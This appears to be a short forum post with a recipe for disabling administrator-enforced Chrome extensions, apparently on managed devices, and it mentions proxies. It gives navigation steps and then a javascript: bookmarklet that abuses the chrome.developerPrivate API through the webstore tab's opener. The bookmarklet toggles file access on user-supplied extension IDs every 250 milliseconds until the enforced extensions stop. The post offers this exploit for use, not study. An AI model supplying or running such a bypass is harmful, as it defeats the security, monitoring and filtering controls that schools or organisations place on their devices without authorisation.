bunch of proxies of sadly been taken down but I added a new one for a test. (New Updates Aswell!)
Go to chrome://extensions
Click any extension installed from webstore not enterprise
Scroll down and click something that says "Open In Crome Webstore"
Spam escape until nothing pops up on the webstore if the webstore pops up you going to have to do it again
Run this when it does work: javascript:let shim = false;var ids = prompt("extension ids (comma separated)").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 250);
Add extension id in box
(If you close tab extensions come back)